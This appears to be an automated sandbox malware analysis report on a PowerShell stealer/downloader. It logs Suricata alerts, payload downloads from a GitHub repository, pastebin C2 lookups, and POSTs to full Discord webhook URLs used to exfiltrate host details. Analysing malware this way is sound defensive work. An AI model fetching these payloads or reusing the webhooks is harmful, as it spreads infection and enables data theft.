Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: powershell.exe, 00000011.00000002.1846512866.00000240989A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbix source: powershell.exe, 0000000C.00000002.1746099211.000002927D9D7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ws\System.Management.Automation.pdbpdbo source: powershell.exe, 0000000C.00000002.1745296458.000002927D966000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\Microsoft.PowerShell.Commands.Utility.pdbpdbity.pdb89 source: powershell.exe, 0000000C.00000002.1746802564.000002927D9E0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb` source: powershell.exe, 00000001.00000002.1549184232.0000026CA964F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb% source: powershell.exe, 00000001.00000002.1509846043.0000026C91352000.00000004.00000020.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2857658 - Severity 1 - ETPRO MALWARE Win32/Fake Robux Bot Registration : 192.168.2.7:49775 -> 162.159.138.232:443
Source: Network traffic	Suricata IDS: 2857659 - Severity 1 - ETPRO MALWARE Win32/Fake Robux Bot Host Details Exfil : 192.168.2.7:49889 -> 162.159.138.232:443
Source: Network traffic	Suricata IDS: 2857659 - Severity 1 - ETPRO MALWARE Win32/Fake Robux Bot Host Details Exfil : 192.168.2.7:49852 -> 162.159.138.232:443

Connects to a pastebin service (likely for C&C)

Source: unknown

DNS query: name: pastebin.com

Source: Joe Sandbox View	IP Address: 104.20.3.235 104.20.3.235
Source: Joe Sandbox View	IP Address: 162.159.138.232 162.159.138.232

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic

Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.7:49703 -> 185.199.109.133:443

Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/Backend.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/FH5.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.com
Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /api/webhooks/1284710807871033355/x0K3Voa94DlgTs4VQWHyks9bUB8i5Uipo6HRW6lKUeKFJpTODgkBqgFx7seLHmsLq996 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Content-Type: application/jsonHost: discord.comContent-Length: 215Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /api/webhooks/1295751966227566694/ZDOwsWbEeGMPmjLUQsSudsSfhqvBoNBR93K3nrkS5aL7Ewva-6hqlEBSmLu1WVR5cEN5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Content-Type: application/jsonHost: discord.comContent-Length: 300Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /api/webhooks/1295751966227566694/ZDOwsWbEeGMPmjLUQsSudsSfhqvBoNBR93K3nrkS5aL7Ewva-6hqlEBSmLu1WVR5cEN5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Content-Type: application/jsonHost: discord.comContent-Length: 300Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/Backend.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/FH5.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.com
Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: pastebin.com
Source: global traffic	DNS traffic detected: DNS query: discord.com

Source: unknown

HTTP traffic detected: POST /api/webhooks/1284710807871033355/x0K3Voa94DlgTs4VQWHyks9bUB8i5Uipo6HRW6lKUeKFJpTODgkBqgFx7seLHmsLq996 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Content-Type: application/jsonHost: discord.comContent-Length: 215Connection: Keep-Alive

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 15 Oct 2024 16:08:27 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1729008509x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=imyMIeHTEUKrovK9QjsYTPhziEcFHvbCRUmlHJ04Sdmlni2azLULDXKhTQkqtByBt2d%2BDgG9HPAIrcuLyL3JBGB3bLQkl2IhNuZitGsHxCfOPpeMjmsew252GVSl"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=79c012eaf9029fed6f4174fc912d62fc9df2f131-1729008507; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=NRZYuviVxKznP8b._.zmL4nobhKDT8sSIL_kl3WgFCM-1729008507935-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8d311165fb836c3d-DFW
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 15 Oct 2024 16:08:41 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1729008523x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gCDeVYfG8MOB0FTSV0UaeFLhjp7PDyjKfLCFzNYSi2LWR1vejx2IA%2FAKTlNsTQA%2BFioU%2FubTwFF92vNbWie4qWxEDWEb3XGiD%2B7wz99RzoTzgAB%2FBWI1Mjq0sZc5"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=bd1d45b24ccd9896b6e9876f8b878c373fe51f19-1729008521; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=XJWZftbrpRr34.ddkGfOILwNBMWYYtEwVHX6y4K6hok-1729008521994-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8d3111bddf3ea915-DFW
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 15 Oct 2024 16:08:49 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1729008530x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bmW9a6ZzW6OZtWv4mx158Rhhm7zAR9pDtYeqopVf8louXs4yLTmZHQ3cLwwS7oNaoxDob4YR9htr06zB%2FyJ9p2MobYR1zHRVImJaIGYUR%2FPWoxMFRUpeN1GBuLjA"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=0968388ccef6ec26a57a8a0fca07deaa13e0c211-1729008529; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=Zg1_cvnTkrEezowrmdGcWuRIEpyS1qc_JH3ww76STdM-1729008529315-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8d3111eb984d6be9-DFW

Source: powershell.exe, 00000011.00000002.1846302686.0000024098480000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoftp
Source: svchost.exe, 00000007.00000002.2554051222.000001F0D2E0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: powershell.exe, 00000001.00000002.1510210225.0000026C91D65000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1701038367.00000292014AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1773538760.000002408179C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://discord.com
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.7.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000001.00000002.1538018702.0000026CA1531000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1538018702.0000026CA1674000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000000C.00000002.1701038367.000002920050A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1701038367.0000029200A5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1701038367.0000029200A76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1773538760.0000024080D68000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1773538760.0000024080D4E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1773538760.00000240807FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pastebin.com
Source: powershell.exe, 00000011.00000002.1773538760.00000240807FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pastebin.com/raw/sA04Mwk2
Source: powershell.exe, 00000001.00000002.1510210225.0000026C91749000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000001.00000002.1510210225.0000026C9313B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1701038367.0000029200B26000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1701038367.0000029200AF7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1773538760.0000024080DE7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1773538760.0000024080E16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://raw.githubusercontent.com
Source: powershell.exe, 00000011.00000002.1773538760.0000024080DE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
Source: powershell.exe, 00000001.00000002.1510210225.0000026C914C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1701038367.0000029200001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1773538760.0000024080373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000001.00000002.1510210225.0000026C91749000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000001.00000002.1510210225.0000026C914C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1701038367.0000029200049000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1701038367.000002920005D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1773538760.000002408034C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1773538760.0000024080339000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000001.00000002.1538018702.0000026CA1674000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000001.00000002.1538018702.0000026CA1674000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000001.00000002.1538018702.0000026CA1674000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000001.00000002.1510210225.0000026C91D65000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1701038367.00000292014AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1773538760.000002408179C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.com
Source: powershell.exe, 00000001.00000002.1510210225.0000026C916E7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1510210225.0000026C91D65000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1510210225.0000026C91749000.00000004.00000800.00020000.00000000.sdmp, cr_asm3.ps1	String found in binary or memory: https://discord.com/api/webhooks/1284710807871033355/x0K3Voa94DlgTs4VQWHyks9bUB8i5Uipo6HRW6lKUeKFJpT
Source: powershell.exe, 0000000C.00000002.1701038367.00000292014AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1773538760.000002408179C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/webhooks/129575196622756
Source: powershell.exe, 0000000C.00000002.1701038367.0000029200B8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1773538760.0000024080EB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/webhooks/1295751966227566694/ZDOwsWbEeGM
Source: powershell.exe, 00000011.00000002.1773538760.0000024080EB8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1773538760.0000024080D88000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1773538760.0000024080EB4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1773538760.0000024080E82000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1773538760.000002408179C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/webhooks/1295751966227566694/ZDOwsWbEeGMPmjLUQsSudsSfhqvBoNBR93K3nrkS5aL7Ewv
Source: edb.log.7.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000007.00000003.1367837796.000001F0D2BE0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.7.dr, edb.log.7.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: powershell.exe, 00000001.00000002.1510210225.0000026C91749000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000001.00000002.1510210225.0000026C92C00000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1701038367.000002920050A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1773538760.00000240807FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000001.00000002.1538018702.0000026CA1531000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1538018702.0000026CA1674000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: qmgr.db.7.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: powershell.exe, 0000000C.00000002.1701038367.0000029200A66000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1773538760.0000024080D58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com
Source: powershell.exe, 0000000C.00000002.1701038367.0000029200A66000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1701038367.0000029200A5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1773538760.0000024080D58000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1773538760.0000024080D4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/sA04Mwk2
Source: powershell.exe, 00000001.00000002.1510210225.0000026C92C00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercont
Source: powershell.exe, 00000001.00000002.1510210225.0000026C93175000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1510210225.0000026C92C00000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1510210225.0000026C91749000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1701038367.0000029200B26000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1773538760.0000024080E16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com
Source: powershell.exe, 00000001.00000002.1510210225.0000026C916E7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1510210225.0000026C92C00000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1510210225.0000026C91749000.00000004.00000800.00020000.00000000.sdmp, cr_asm3.ps1	String found in binary or memory: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/Backend.dll
Source: powershell.exe, 00000001.00000002.1510210225.0000026C93175000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1510210225.0000026C916E7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1510210225.0000026C91749000.00000004.00000800.00020000.00000000.sdmp, cr_asm3.ps1	String found in binary or memory: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/FH5.exe
Source: powershell.exe, 00000001.00000002.1510210225.0000026C916E7000.00000004.00000800.00020000.00000000.sdmp, cr_asm3.ps1	String found in binary or memory: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/OneDriveFileSync.dll
Source: powershell.exe, 00000001.00000002.1510210225.0000026C916E7000.00000004.00000800.00020000.00000000.sdmp, cr_asm3.ps1	String found in binary or memory: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/Photoshop_Set-Up.exe
Source: powershell.exe, 00000001.00000002.1510210225.0000026C916E7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1701038367.0000029200A76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1701038367.0000029200A9E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1773538760.0000024080D68000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1773538760.0000024080E16000.00000004.00000800.00020000.00000000.sdmp, cr_asm3.ps1	String found in binary or memory: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443

Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.7:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.7:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.138.232:443 -> 192.168.2.7:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.7:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.7:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.138.232:443 -> 192.168.2.7:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.138.232:443 -> 192.168.2.7:49889 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: amsi64_7548.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: amsi64_7912.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 6648, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7548, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7912, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\Backend.dll			Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe			Jump to dropped file

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

